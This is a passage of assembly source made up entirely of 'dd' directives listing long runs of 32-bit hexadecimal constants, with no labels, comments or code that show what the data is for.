0EC30309h, 1D9F0702h, 0F96B325Fh, 0E225190h dd 0DDF17586h, 0FB61E730h, 1727D13Dh, 2151B167h, 0DE85ECE0h dd 0D80EAE57h, 0FA3F3D62h, 1E56F10Fh, 2B9C930h, 0AED67BAEh dd 17905ABAh, 2AA9692Bh, 0B020267Ch, 0E9597384h, 4B2252EDh dd 0C93FBCE4h, 31E5233Ah, 61898C16h, 0EC305367h, 5FF31555h dd 0CC467A38h, 7BD48382h, 0AD621E61h, 0A905C8D6h, 0E6E2943Bh dd 0F9EB9CE9h, 0DF3A6F5Ah, 313FA8D3h, 0FDD41225h, 58E1F46Fh dd 0D62C8290h, 0D82C338Ah, 0AC9821BCh, 0C2F0D226h, 7FE81857h dd 0A251ACF3h, 60415FBFh, 830A84B3h, 0CA76E914h, 0AB150377h dd 344FBEB5h, 0CDC1C712h, 985856E6h, 95B20B37h, 9E73112Eh dd 0BD20D909h, 0EECC70FBh, 6661C7BDh, 3106C602h, 0EB3E84E4h dd 54EC8726h, 0CD59FB94h, 0BCA7A145h, 0F4697DC2h, 320B7965h dd 70A9F2B8h, 7099A6F2h, 49F532E3h, 4C4FA20Fh, 3C96A68Fh dd 424F97DDh, 7E0D98A2h, 0ECF414E9h, 63D95679h, 57F43D43h dd 97D2F7B2h, 4FAC77Eh, 0E9400E2Ah, 6B7AD638h, 0EA545901h dd 87E63710h, 80F4F0DEh, 739E1A88h, 84E2BC8h, 909BCA66h dd 4FAD940Fh, 7156092Bh, 67C14E37h, 36599C3Dh, 0FF2E8A64h dd 0A89A4B38h, 0EC370D69h, 0B50DC6ECh, 53C80D4Fh, 5FA2D4DBh dd 6E677E34h, 9FD198EAh, 54952EAEh, 24D9D18Eh, 0A133CF73h dd 0AEE93808h, 3AACD49h, 9F0F2EAFh, 0E85E9C5Ah, 7D8E6613h dd 6D1D4358h, 399B1ED5h, 2A8CCA9Dh, 1E104FEFh, 234FD149h dd 0BBAF109Ah, 7009FB76h, 0F8D84264h, 0CBECBCEDh, 0D8CF1DFDh dd 0AB2E2C77h, 431F0D3Dh, 0D88F87E2h, 0D53638E0h, 0FAD927C7h dd 2657AE04h, 0E0A347D8h, 0C2023A68h, 2AC2A960h, 0E2EA32FBh dd 0CA59D9E1h, 0A4CFB41Fh, 41503A0Ch, 6DCFA61Ah, 0E6DAAF1Ch dd 0E2F81D2Ch, 0CE9EDAFDh dd 9700C4CDh, 0E8DE0DEAh, 0A4315572h, 9D4B559Eh, 0DDF7BFDDh dd 81D96616h, 6D6BF4F7h, 17EC556Eh, 66478CB7h, 868B7509h dd 0F73BD5E4h, 70A3E4D3h, 0B6CC4CFBh, 0FAF16FB7h, 0E1854824h dd 0FD7DE787h, 970593ACh, 0FA9230A2h, 6B524207h, 0C893E2AFh dd 0D0FECD55h, 34A07272h, 0D3DB207Ah, 0DE8DC493h, 0B40F85F9h dd 0B60A82C2h, 0C343EE70h, 0B5DB4B8Ch, 8B847890h, 5F54682Bh dd 0D200E2C4h, 8FBDB71Bh, 13F8632h, 46CB9DE4h, 7BF6ABDFh dd 9E1F4681h, 0C5C98F87h, 604A2D3Ah, 37C5977Fh, 78B2CF22h dd 78CCC646h, 26749F24h, 4F5BFEB6h, 0FA1780C4h, 55C24FD5h dd 0DD07CDEh, 0DCB57CCDh, 0D870E45Fh, 61AD1E78h, 7E74E096h dd 23D3C269h, 0FDAA5CEDh, 1A4BE7F5h, 6C56A72h, 0C3661531h dd 0FB8B3DA6h, 43DF2DD5h, 0EF913641h, 0E4E72B15h, 0A106569Ch dd 5F913287h, 0E90A7AFh, 8DC09318h, 161FD69Dh, 0C9F684F5h dd 421970B2h, 0AAAA539Fh, 0CD840ACFh, 8D1F0F3Bh, 0E8B304DEh dd 0D86381DEh, 1918E9Dh, 0FF1A5FCDh, 0BD6997E2h, 34E46A77h dd 32C3652Bh, 38138DE4h, 0F65B1512h, 0A04C2CEBh, 0DF31D983h dd 9C9D393Eh, 0BA46EC6Ch, 2CF7CA7Bh, 7FBF9CD2h, 0A7B3C66Fh dd 30BD5E1Eh, 0DC3F7A0Bh, 0CC1A35D4h, 65B6614Fh, 0BFFCCE24h dd 2BDE94A6h, 0AB37893Eh, 76720D12h, 0E5429A54h, 1919E59Bh dd 2C06221h, 0C65E8CFEh, 0D6454C7Dh, 3085F386h, 7175C77Dh dd 40F7648Dh, 307AF804h, 0CE29A885h, 70F4611Bh, 967CD2E1h dd 27B48A08h, 4C856592h, 0CDAF6216h, 1C5AD1EDh, 0EFD3E904h dd 9C0F8758h, 6EE0EDA3h, 859E41h, 0E0FDE5F3h, 6BEB0BC2h dd 0E8F41B4Ch, 0C7984926h, 0B7729EA8h, 44FE3186h, 51D15C1h dd 0B8DC5587h, 7CBEAE90h, 5D9D7CADh, 49719D5Bh, 0D5451B1Fh dd 0A60379AEh, 8D1EB886h, 4E0866E3h, 230774D3h, 0D692EBE8h dd 4927191Dh, 78E2CC4Bh, 57DD539Bh, 0D0DE8415h, 0DB876C3Eh dd 0C9BCD798h, 0B68DCFEDh, 15ACF2FBh, 0C12750ABh, 4D648C26h dd 0FA1E2C72h, 6CD71A1Eh, 0B9D60CB0h, 7285FFFAh, 0ABCDEC2Ah dd 0FBB541D4h, 5FCEC3C0h, 6A85F677h, 0B18157D9h, 0B4AA58EAh dd 0BA90CD3Bh, 35678835h, 1440BB2Eh, 5B54B71Ah, 0DCF6A864h dd 6724567h, 0EF6E33E9h, 87EFE768h, 0D2A9FFB6h, 4B31047Fh dd 0C5F7D346h, 9B13E1F4h, 0D19BF7D9h, 58F86219h, 62A63116h dd 0D9E9065Eh, 0F85E52F6h, 5D774BB4h, 0F5CF98EFh, 3D45FE20h dd 0D34282ECh, 55810ADh, 0EDE1EACBh, 0CB0420EFh, 3BCBD6AEh dd 2B433743h, 8F312057h, 0C307BCA7h, 0CA100213h, 6828127h dd 0E6A4F069h, 9672ECF5h, 0ABE66E19h, 0A74079Ch, 1EF62ABDh dd 33B5E5B6h, 4B043D7Fh, 871104F6h, 0D229DCF8h, 4F8C29EEh dd 0FE74A179h, 1D0AEA5h, 0C930FFAAh, 535196BCh, 0BA397CDCh dd 9F26B6B7h, 531C3CBh, 0F0BC52E3h, 944BE02Dh, 6556FF4Fh dd 94B11200h, 0CEE9027h, 5549559Bh, 2D8703F8h, 8F21E931h dd 0F8E4D13Eh, 8A2B018Bh, 37C6B5F8h, 0BBB95893h, 1D6A5B2Ch dd 0E17EFF15h, 35B01495h, 2F4C24C8h, 2B0E4498h, 318321EAh dd 66516CDCh, 0CF983699h, 0ECE72FCBh, 61748392h, 3D4D229Bh dd 8E9F6210h, 0FF9E7FC0h, 0D85B0508h, 0B50DA1FEh, 69B51BE3h dd 2A3DE207h, 78EE3FC7h, 878C72Eh, 0EB864343h, 0DBF00CB4h dd 18420F15h, 4A3A141Bh, 1517D3C6h, 7E2AB4F6h, 31EA9EBAh dd 84A1F062h, 246077A1h, 84ACF9BBh, 8ADE2F71h, 0C4FE50E3h dd 628AA462h, 4082931Dh, 0CD86C8A5h, 0E3F01BC4h, 4893A471h dd 67DD8012h, 69B237AFh, 0B1F08D72h, 0DA8FA16Fh, 49B83FC3h dd 91A5A98Fh, 3CF94C12h, 0B31D09A1h, 5B1F3744h, 0C64E2249h dd 21FA4625h, 0F60B4076h, 78DFC25Dh, 3DBCE3E8h, 16BB176Ch dd 87380208h, 2E56D94Bh, 7CECB2C4h, 0E397C50h, 6A3FA3F7h dd 0CFE848B7h, 0F906BE40h, 0F15FAC5Dh, 1A9FC1Ah, 3852966h dd 0C859C9DCh, 74CB9B03h, 5F4C43EBh, 53AE4875h, 0AFC2B23Eh dd 6C728A8Fh, 16DC506h, 7D72AC9Ah, 2CCBC579h, 8715431Dh dd 53D54C9Eh, 476AB80Ah, 0BD86D84h, 0A3CE83CCh, 3B7F1051h dd 64F3517Ch, 0BAEED5C9h, 9C010646h, 170DBBBEh, 4B1F4BF7h dd 0A94CE218h, 7082D1FCh, 8C3B5580h, 5E6F55AFh, 721FBC3Ch dd 882A7F3Fh, 1BAE5999h, 9E1EF544h, 61412AF0h, 7D8BAD44h dd 6BE61C2Bh, 8FC7F537h, 6519CD6Ah, 370CDA27h, 394BA4C2h dd 0A7996AABh, 48CBD0BBh, 0FE0A15h, 0C6F56430h, 4B42581Bh dd 0F3ED8979h, 2FD19C04h, 9163E756h, 8A6F8937h, 8FB399DBh dd 7B01B936h, 0B6FE7679h, 0CCB5BD5Ah, 876608EFh, 0E2ADAF83h dd 0D2CFC6F1h, 61AD52F8h, 9F08380Bh, 6558BC5Ah, 0D5CEC82h dd 39C56FF0h, 0EC94AC24h, 5A4219A8h, 1050B5DBh, 8FD41F1Fh dd 0A9E4AEF2h, 0E6E1FC19h, 68BF3567h, 9A654F5Bh, 361D5E7Fh dd 75016DB1h, 0E9447DCCh, 0FFA711BBh, 0F55AE1B0h, 6AB81EA6h dd 0E84369C8h, 8DE39D0Ah, 0D70C3C5Bh, 164068BAh, 4D328B25h dd 80A6A6B1h, 0EC12A83Ch, 669FAEC4h, 1E2275F2h, 287EB16Ch dd 0B83FF7F6h, 68191A7Eh, 7275712Dh, 4DB59D90h, 4C4930E1h dd 43DDDC8Dh, 9074D31Fh, 2A1EEF5Ah, 14DA5126h, 2CB2C8A8h dd 9200C020h, 96422685h, 6A97B777h, 9633ADB5h, 972CCD81h dd 3E6577A8h, 0D695A4FCh, 781084Bh, 0BFB78529h, 92066FABh dd 3862BC7h, 0CD6BBE0Ch, 130D4DDEh, 0CE76A9A2h, 0ED42AA52h dd 93CCCF3Fh, 841748ECh, 86B79B00h, 36707576h, 0A4DA8DBAh dd 0AE8C4251h, 0FB0B3307h, 0F6A0167Ch, 0A53AD64Bh, 20033BAh dd 885CA120h, 0EFF94A01h, 0A2A0CC0Eh, 988B315Ah, 0D6CBD4D0h dd 7AB3DAC3h, 37C76CCAh, 0DD408DE4h, 29A0EF0Ah, 0C4EFE47Dh dd 0EAC566DAh, 0C36AB16Ah, 9694EBFFh, 42A5D721h, 37ECA229h dd 0B5D1A408h, 0AA7D96EDh, 0ED034052h, 0C6AFC919h, 77A5EA61h dd 0DF1D92A9h, 0BDDF433Fh, 3B99A152h, 38B5A783h, 0BE12F214h dd 94D5EE7Fh, 0CD6023B6h, 0ACE42616h, 1FADB65Eh, 0FB5A5699h dd 0C3338572h, 0DF9EA416h, 0D95C081Dh, 29781D97h, 3180F353h dd 0A5422389h, 1E541534h, 15C4FBE1h, 90853035h, 8786D8C4h dd 27D8744Eh, 0AF0E146Ch, 9E2C21C6h, 8FE230B0h, 0E88A739Eh dd 365F2E10h, 3E8D3F1Eh, 1743B126h, 6608D513h, 1110F64Dh dd 94FFD220h, 75861D52h, 6DDB152Fh, 84707C47h, 0BD0FFEE8h dd 0FA540FE1h, 0E2ACC380h, 0C247712Bh, 3071F75h, 561C2D88h dd 8BE3BEBFh, 3DA0DF03h, 0E47B7D4Dh, 9A583F08h, 0D266BE82h dd 31904FE5h, 0E149B7BAh, 0D51B0F14h, 724F31A1h, 48F3C3C4h dd 4CA0C2B7h, 0B628F728h, 6D967B7Ch, 0DFA7C731h, 1D167590h dd 0C3F93739h, 0CBE96902h, 677ECC32h, 0C85B7D16h, 0A23639D5h dd 89FC9AA8h, 37E8FF20h, 0A45D0097h, 0ECDA5AEFh, 0E22266C3h dd 934CE17h, 145A2453h, 77A8ED09h, 3EF56F81h, 0E92224E4h dd 89414C58h, 263313F0h, 80A8FDB4h, 0C16261F4h, 0D9F38FA9h dd 57CA5ADCh, 9DFB47B2h, 0C0F0D075h, 0B041E551h, 73CC2DA8h dd 53C9F27Ah, 4FE96186h, 363FF8AFh, 0CD76B233h, 4E038B54h dd 0C179E461h, 9DCA5805h, 40B3AEC4h, 3E22CE09h, 0BDCE6D6Ah dd 52A870D2h, 69392872h, 2B362551h, 94037FB9h, 0FCD4492Ah dd 7F4A80A4h, 0EB681A58h, 7D9B668Dh, 8B6F1618h, 2BA5AA75h dd 0C7B11EC5h, 0DFA6AA7h, 95BEE402h, 178FC727h, 0A43AD238h dd 8375A163h, 0C13FD53Dh dd 9DD09E30h, 0E0712EC7h, 6D6568CFh, 0F96F9548h, 52D29BBCh dd 78BF4C2Dh, 56B69479h, 0E739E8FBh, 40F4005Fh, 8EC98330h dd 93F7E3A6h, 9E1963DAh, 42D2CE3Fh, 19C1A316h, 62AC246Dh dd 77F8B596h, 5597935Eh, 7939BCAAh, 6CDDC69Dh, 0A2AFA993h dd 6400F43Fh, 7041A38Ah, 0C8193661h, 0A764A43Bh, 7701E027h dd 29795F1Fh, 942DF0D1h, 0D3C594B8h, 0D4170F96h, 5CBFE872h dd 0AA6C0144h, 0F37A32FBh, 0D4FEFCA5h, 0CFDEAF90h, 0CEA22A82h dd 7724CA99h, 2AADD165h, 0EC71FC4Fh, 9D16367Ch, 7788F136h dd 3B73A568h, 0CCAED5EBh, 875BEDCEh, 34297902h, 7611F899h dd 51B25F0h, 14DE1FD0h, 482282Eh, 0A7F9C496h, 219F6704h dd 33B3B4B5h, 526D07E6h, 0C5F86BD1h, 0D1A1155Bh, 78CC5130h dd 449333BBh, 0C9CB2BB9h, 62B09F06h, 0B164B8F1h, 2DC09FB1h dd 81AD459Dh, 8441A90Fh, 0B0B0E5D2h, 4E8B853Eh, 4822746Dh dd 179A37D9h, 429B0D9Dh, 828FB17Ah, 1487ECBCh, 15458A4Ah dd 55492770h, 2A052B8Ch, 255411A2h, 265B7329h, 0AD6DCCE3h dd 0DDBF6EE0h, 3FE70C58h, 0C518E39Ah, 0C7B2ADC8h, 4A34DDD2h dd 64AE8513h, 30F9190Eh, 0C3C63F16h, 305D1D1h, 19AD84FFh dd 0AB410641h, 0C8C10496h, 3CA7FE4Ch, 4F2FD31Bh, 0C9CB928Dh dd 0FFCC1680h, 52B57247h, 749FFC27h, 9F599CD8h, 0DA9CF62h dd 658BBF9Bh, 0C5C37209h, 50031491h, 36E728E5h, 17F34BF8h dd 0A021ACB6h, 1FCC9DEBh, 0FEEF3C18h, 5D85802Ch, 49DE2FC7h dd 9CA0A472h, 81DB9DB8h, 3D1377B4h, 65864C27h, 0EA59C24h dd 491AF264h, 6A4BAFFEh, 5BBE8656h, 39FB9AABh, 14C3DDBFh dd 565EC4D9h, 0D5F021Bh, 4CCBB256h, 0C2775DB8h, 8FCC2EF9h dd 0D01656CAh, 75AEB96Ch, 22221E66h, 6B4F2390h, 142F5DC8h dd 43B16761h, 0E7EE1E0Eh, 8354A337h, 119CA61Fh, 3FAF6E1Dh dd 5F2972C0h, 15BDEEB0h, 58A18Ch, 2656E75Fh, 374C25DEh dd 0A1B24177h, 3A36EBE8h, 6DADF2AFh, 53AADFAAh, 18178794h dd 35D925F4h, 0E3149EB8h, 4CD78A5Ah, 16B9AEA1h, 4BA73F3h dd 4B3AC6F3h, 6CB08CA1h, 903418B3h, 3DF21CE5h, 393B84A7h dd 3F445B87h, 7E61C8B8h, 9F3EAEDFh, 0B4B1B36Bh, 5F7FD0C1h dd 0C4B80EE5h, 0F041B1C7h, 0EE1414E3h, 558F810Bh, 4F5051Ah dd 9D4AA1C0h, 656CBB25h, 0FD1A6572h, 0BE581597h, 0B0D7C098h dd 375016AEh, 0F4B5B3BFh, 92534D4Fh, 0F8A91C9Eh, 0F694872Ah dd 0EC62F39Dh, 0E411AB76h, 0D7F260FCh, 2F101B12h, 110106F3h dd 0B0855F92h, 472FD8B0h, 0AF0B9DABh, 0CB078958h, 0D9141588h dd 7919892Fh, 0BC271CC7h, 336ACE8Eh, 98C08CF7h, 0AFD17346h dd 7B60F0B5h, 0B24B28E4h, 74A42F72h, 4153DCFFh, 0CF588B9Ch dd 1A1F5FDFh, 52B2C3FCh, 0FFFD8F6Dh, 89972EA0h, 61C084F7h dd 0A2E09EFDh, 0F7236FC3h, 0A95F354Fh, 88C878E0h, 0A81C4A6Fh dd 14217670h, 43C27CD7h, 9F24D0D4h, 112EAFA4h, 33D2772Eh dd 3DC20A88h, 0F03EE035h, 8DC5A344h, 73DDF851h, 0A01AAE3h dd 0FF187EDh, 284B6BA4h, 9AEE415h, 81DC1947h, 1EE10E3h dd 9020A96Fh, 0FA2FE66Ch, 0F3EA8EDDh, 8DD35641h, 0CF6B61EFh dd 0B79654FCh, 0D2BE983h, 0CB7EB53Eh, 409C8A4Fh, 5FBC5954h dd 0FB69073Bh, 0C3BF4EBEh, 858BCD2Dh, 0E4FDCEACh, 48D80292h dd 58BBB279h, 738C8752h, 0C45CB963h, 2716EE4Fh, 0D7A985D0h dd 0B6A24A9Dh, 5E1D7904h, 0C7CAB6EEh, 686CDFFAh, 586F7558h dd 2FC4446h, 1ACC38CFh, 0B4811964h, 0FECC1B30h, 4BD01CBDh dd 0E6D035F7h, 3EBD59FEh, 46BF2F1Eh, 3D29C127h, 0D5696466h dd 0AC3CADFBh, 0C71378A4h, 0A7199E68h, 771B7979h, 1D788860h dd 7E2FD41Ch, 9E76E903h, 9F2F6A8Fh, 0A1A535F5h, 678C3A31h dd 3E6AEA30h, 48D6513Fh, 0C060F012h, 3C4C1188h, 64017F3Ch dd 5C6D196Dh, 7B06776Bh, 5EA6CE7h, 58CD0503h, 0E0268E59h dd 0E14E726Eh, 0EF25021h, 0F7B78122h, 2EBBC9FCh, 9A50B967h dd 9308CDC1h, 0D2744693h, 2F4661ADh, 9CA9CE25h, 0A9F666E1h dd 1C932652h, 491F823h, 0E66E7B31h, 8471E464h, 0F8E6416Dh dd 0CB678DDFh, 2038DA2Ch, 65FBE986h, 0B0A37193h, 0E3D9BB80h dd 1E07DDE3h, 0D8289972h, 3AD21ABAh, 0D03E1946h, 831F8F18h dd 7A3A0A05h, 9C757B40h, 884FBC60h, 0EA22F136h, 5CA5A375h dd 0F32A07Bh, 0CFA69104h, 23CE6393h, 36530181h, 3F4911B8h dd 0E1ED6D14h, 20EB8C8Bh, 0C3D3E1D4h, 47FF67A5h, 94191A6h dd 0C85642D4h, 5249ECE9h, 1C75375Dh, 3C9800D3h, 45A4AEDBh dd 276280EAh, 8244183h, 56FABCCAh, 498F9734h, 0FD701850h dd 0B3E004EFh, 24F688C9h, 47D73B9h, 4DD376C6h, 0EBAC3EEh dd 0B88A9435h, 5939DBFDh, 1C967F0Dh, 1AB15B26h, 5A8B31D3h dd 0D1E08F07h, 3A2991D2h, 0E008DC8Ah, 3B82C31Eh, 0B4579D3Bh dd 2C485E03h, 33756CD2h, 0CF0E6ADFh, 0A5EDDAAAh, 429F1D47h dd 58F061A8h, 0C696B4AFh, 80328F01h, 3628BED5h, 56C4BDD6h dd 0BE0434AFh, 0BC5E2883h, 0ACDC94EDh, 9E14AFE3h, 992BA2E8h dd 7A24ADA3h, 83B237F4h, 62EA4900h, 24A59979h, 2ADD3E37h dd 8628750Dh, 2BB84738h, 0BE984EEBh, 4A8E1839h, 9D49E578h dd 8D5530E0h, 4757BC8h, 9E2EEFB7h, 0ED32915Ah, 0F90D170h dd 2AC8FEF3h, 4F945484h, 341E278Ah, 0EF609E24h, 134F0D35h dd 0F3DE48ECh, 0B05C5969h, 0E1EF4CE6h, 61B76EF7h, 27F1FC63h dd 61790DAFh, 0C08E2B0h, 0BD945FE3h, 870F96DFh, 0B957098Dh dd 0DD3B9BEh, 4718C5F3h, 0C329BE5Bh, 0FAC19386h, 0FBB7592Ch dd 0F8B98095h, 0EF002DCEh, 5F6BD113h, 4037A0D6h, 0EE136631h dd 11F6046Dh, 0D836C674h, 6472D21Dh, 7F50574Eh, 73879F39h dd 0F31BAB27h, 486AA5FAh, 0E7A6E380h, 7AB48FF5h, 4BCEFE68h dd 0CD562228h, 0F5993135h, 0A0C432A0h, 0CCAF054Eh, 4E9A1257h dd 473004Ch, 7EA1BD19h, 4106782Ch, 56502A4Ah, 15F94660h dd 4E176CA2h, 8956BDB8h, 6D46708Eh, 77C6943h, 7029DA84h dd 5F3BBD17h, 0DF1CAB2Dh, 3314F181h, 45597F4Ch, 8DBCE636h dd 0C7AE4808h, 77329A85h, 32975D5Ah, 0CCBFB120h, 286D5942h dd 86B6F9CBh, 0D96E8F1Fh, 9CFEBE48h, 2A501DE8h, 0EC2C3934h dd 6AD14320h, 0A436E8F8h, 2B6C9F6Dh, 34778B19h, 0D1F86B2Bh dd 0B8A748D4h, 82BDC519h, 0E5D7CED7h, 2951F89Ch, 880B7DAEh dd 852D119Ah, 8140FA47h, 0F657C1C9h, 0D3E15B24h, 0F09EF4A4h dd 8B52F9F2h, 0B23B96EEh, 0CD6E6828h, 2F07AF10h, 4041F3E6h dd 0AA0C45ADh, 5F2A67B7h, 0C2E38699h, 4F0C8B7Ch, 3E12C506h dd 0A663610Fh, 1B34BDFDh, 832319BFh, 1667B80Bh, 0A9F12083h dd 4E59E98Dh, 6F335281h, 0E4EC42BFh, 0EDA17C72h, 7301079Fh dd 0B392CC0Fh, 0FD1F761Eh, 0E9D88398h, 31C925B3h, 0D277C28Ah dd 0E9143497h, 2CD85C21h, 0FD326587h, 51E1B07Eh, 4B3E6FDh dd 0F9C4E777h, 0BF836C42h, 537CB327h, 8E8E33F0h, 0B7180461h dd 80461A7Bh, 78B2584Dh, 98305D7Fh, 0F145132h, 0F828F8Eh dd 76A58531h, 196E3B99h, 8D113177h, 0E182FFC2h, 0DC26DFC7h dd 0E8D85219h, 5C557E0Eh, 390ED3B9h, 3482F6BDh, 0DE08986Dh dd 3D1CA1E2h, 0F55CEEE9h, 3124A8FCh, 5D4D2663h, 0D8C03F5Fh dd 0D78288C3h, 4D99D7D7h, 0CBEC20D6h, 875B5A33h, 25606E24h dd 73CBD5h, 19974903h, 0DA37024Dh, 99710436h, 2DD650FDh dd 6C5A68D1h, 9B699BFh dd 0F04326DFh, 9F31889Ch, 7301D69Ah, 0C3EEFA94h, 0BB46BA31h dd 161CE202h, 0C80ED4B4h, 0C03E89A9h, 5C6D1F0Eh, 78A69C8Fh dd 0C6E9067h, 5D77C607h, 0FC5DE096h, 9FD4DA18h, 0D79715D5h dd 0A82C05A7h, 75EAF865h, 75A0A9C9h, 0D39232FEh, 0D75B4C01h dd 0A13078D9h, 4061822h, 0F478751Eh, 35CFD39Ch, 534800D9h dd 0C119F555h, 0CFF306E4h, 484B9A0Ch, 13F2E01Fh, 17DEE01Fh dd 81A1927h, 0EDC8BEB8h, 141CE106h, 45C7AC88h, 2C28C286h dd 2933DDC9h, 4BF7E36Bh, 71CD1A66h, 24A9AB33h, 0DF5FB667h dd 0C002D2A8h, 6F8EF280h, 9AC416C3h, 0AD7D2EFCh, 276657E7h dd 0A5728C1Eh, 30E21EFh, 875AA9AFh, 0CB6667F3h, 2F60D33Ch dd 966EC677h, 0FD8647A5h, 71136975h, 494EE6Fh, 0AEE5D636h dd 9ED9C00h, 0D9B68C05h, 56863086h, 0D26BEC92h, 0F764BC59h dd 5A2969F2h, 0C6D51AB2h, 0DE99E2F0h, 7264DEC8h, 0C65A85AFh dd 0F4C96C33h, 5A5F3044h, 0E7FA1F5Bh, 403510B4h, 8CCF6C7Fh dd 62C2A87Ah, 0E50A6822h, 2D8B758Ch, 0D2D52EE2h, 7A761B9h dd 0D13BE0B3h, 1FF91865h, 80540567h, 7DA7E029h, 36CE45BFh dd 0DE82A7F7h, 0A548ED95h, 4947CAC3h, 0D06A2A44h, 16681A8Fh dd 0A5AC741Eh, 12955A35h, 0FAC4C20Ch, 0C6302810h, 0FE066D97h dd 0DCD2C624h, 0F688AC16h, 1244E5C7h, 0BC0CB4F3h, 86F5867Dh dd 7AC207E3h, 0A9059A1Fh, 6B662103h, 0E8738EF4h, 0BEF382AFh dd 0A987D974h, 18F12519h, 55BF53C6h, 8E97B563h, 18000E3Ch dd 4970456h, 53A97AD3h, 0B6887A7Ah, 33057D8Dh, 762A2F44h dd 0E9AA84DCh, 62B721D0h, 0E85110F1h, 38D94A79h, 2A4532Ch dd 0BB1EA144h, 0A848BBC2h, 2B860B6h, 4B5F29B1h, 70FDEAAh dd 0E719F82h, 0A755646Ah, 0A5182C50h, 0CF50B996h, 5D3516C0h dd 78168B1Bh, 0C8A0673Fh, 0CAA3E0A4h, 91D2502Ch, 8B76D854h dd 63FFB86Dh, 4C9D1961h, 795ED8D0h, 0A1BB4884h, 3BD74D6Bh dd 8EF1BBDAh, 8862AC85h, 1BBC2AA8h, 0B463266Bh, 0EADCCDF5h dd 2F52D4D6h, 0BCABB5Fh, 4D8016CDh, 0D55F89A2h, 7B15051Dh dd 9FD59BE7h, 458B4D39h, 586F760Bh, 0F8F974Ah, 9A518D2h dd 8BE74BEDh, 0F9F6BA0Bh, 3ECE1AB9h, 15DBDC72h, 8727E7D6h dd 99442F7Dh, 3170F1B7h, 5FB49A38h, 38176F4Fh, 25541EBFh dd 9F06603Eh, 0CC606943h, 0D5609EF0h, 0BFEA7F07h, 3CB4DBC0h dd 9035F814h, 23D1C5C2h, 5844344Ch, 0DE06A92Dh, 199B20B0h dd 0AD19CAAAh, 64BABE97h, 19A27D6h, 0ECFD442Eh, 3C9A03E7h dd 1C581C0h, 6D9ED6C5h, 7D228C8Fh, 9FFB6D12h, 3ECF611Fh dd 2502FC0Ah, 80F1D67Dh, 0A55BE8C4h, 65F9A858h, 0BC2DD877h dd 9F1D539Ah, 53DC7212h, 0BD8E9DEEh, 730A38A7h, 89F75F9Ah dd 45FF19A3h, 0F22BB10Bh, 0FB796F88h, 34C396BCh, 7D021BBAh dd 3FD11F45h, 3C06B828h, 0D8BE9AFCh, 0DA23584h, 15B9031Ah dd 0B2FBF68Dh, 0A0370102h, 40C9E5E9h, 0C8D92F3h, 63BA4E77h dd 0FE43A0B3h, 7D6711A3h, 4EAE4602h, 605F612Dh, 0B73EDD3Dh dd 0F421F08h, 9E1D42D7h, 633853F0h, 7D1E23F5h, 7705E147h dd 6918C5AEh, 7D2E93E2h, 1C09BBBh, 643C765h, 8236200Fh dd 0E39BFABBh, 0FD4F4925h, 527AFC93h, 43A46417h, 2CE277A7h dd 1728578h, 5F0BA70Eh, 0FB596B64h, 5305DE9Ch, 2B6F23F3h dd 4327E405h, 0FBC96245h, 6634CC53h, 81A696AAh, 0FA3D3h dd 0A33DA531h, 0B20D5E62h, 0EA88ABA1h, 0F787EEC2h, 71B1C862h dd 39CDFF1Fh, 0C7D8097Eh, 2097F4B1h, 0F19DF99Dh, 39582EA8h dd 91E82D03h, 0DF7A5ABDh, 34B90CB1h, 7508DC1Eh, 0C4D1B42Ah dd 0DBA681CEh, 0E37283Dh, 417AF23Ah, 7C62D5FCh, 0E06A3DBBh dd 0E359DEAEh, 0A8336D8Fh, 21A95EE3h, 0C71827C7h, 0AEB9093Ch dd 4B7C1419h, 85965CD9h, 37A12FB1h, 50CA9CA6h, 0DE357C76h dd 5A89265h, 0CD3BB41Dh, 68E76C8Dh, 81A5CBFCh, 39D84F54h dd 8BB8FDE1h, 5C0EC659h, 5EA32D80h, 0CF543CA2h, 0AF6FBA20h dd 0D5579995h, 1F89FFA9h, 50B446A7h, 73C45C73h, 1C2AEFFEh dd 0FF3CF684h, 5331B699h, 0B69AFD83h, 0D034DC48h, 0D33C789Dh dd 50C23308h, 0B03AD610h, 9E036D62h, 0C8847795h, 0A9385BD7h dd 5D4E3CB4h, 3642C1B8h, 0DEF74CB7h, 573B364Eh, 6B224554h dd 55B121Eh, 1B750F8Fh, 0DAA472AFh, 389F4CDDh, 7ECDE3B3h dd 5202D7A9h, 68392DB6h, 20929Ch, 96C33F22h, 0E064F3EBh dd 37025C7Bh, 0E98D5DC4h, 0B8A4547Eh, 8DFDE228h, 6929F784h dd 9069A372h, 0EDEB7359h, 4CE82AC3h, 9A3B0DADh, 8900EA2Ah dd 0DE421BEh, 2BD6D1AEh, 4C53F1D4h, 927929CBh, 0FA706FA6h dd 558D5214h, 22D6F582h, 172AE342h, 5711858Ah, 2B105617h dd 9CF224C0h, 46EF9712h, 3E4D1CA8h, 503DD7F5h, 864B518Bh dd 2B9006D6h, 0A01B075h, 28ADFFF3h, 9D9DCEE6h, 4930CD3Bh dd 927AA89h, 22726A31h, 1E25E911h, 89ABA88Bh, 0D3609EAEh dd 0E7573D69h, 0B88F501Dh, 0C0F40028h, 391C8ECCh, 279B9BBCh dd 37D6FD66h, 934B95A3h, 4B33720Eh, 0F7DE6354h, 0A3E26158h dd 0BA39477Eh, 3E1B647Eh, 3E2A5750h, 25D3AA5Ch, 0D10895C0h dd 4FF366B9h, 0C97C27B0h, 989F9E4h, 0F181F753h, 4C8C54BEh dd 3FFD133h, 425E4976h, 1DC84408h, 0CFA15BB2h, 0DCF64651h dd 22DD16DDh, 0D962B271h, 70622023h, 1B185863h, 0D076470Eh dd 0DECA3A86h, 530FF05h, 2F2CA3C6h, 4B8BA720h, 0B8694983h dd 5F4016DAh, 186FB94Ah, 0C2FB510Bh, 0DE0EF52Fh, 180EAFEBh dd 8DF33FF8h, 0C7F851C7h, 676EBE85h, 0DD2AB819h, 4400FD56h dd 0B6B573A1h, 3927827Eh, 249FF20Fh, 0BFB8114h, 275905B7h dd 2B7BCC0Eh, 0BF3728F8h, 6EBF7B0Ah, 879F1AEAh, 0CA400A98h dd 5A8D271Ch, 0E5CD2667h, 9FABE439h, 3321DCB0h, 0DB98658Bh dd 71B97D33h, 45939812h, 0DD06BC3Eh, 67126E46h, 16380BE4h dd 0BDD979C8h, 0AAF659A2h, 0DCBC6D98h, 0FF9F5EC4h, 40BF3893h dd 3E349BF0h, 88C8EC3Ah, 48902AFh, 8459A2C2h, 0B16EDD46h dd 40BCBC37h, 3DE24EB1h, 11A32E8Ch, 52FF9FA0h, 0E1A93F35h dd 14D094CFh, 5E61FDCh, 0F334AF03h, 0C287C27Fh, 0B7ABE90Bh dd 3F5C287Ah, 0D46F23E0h, 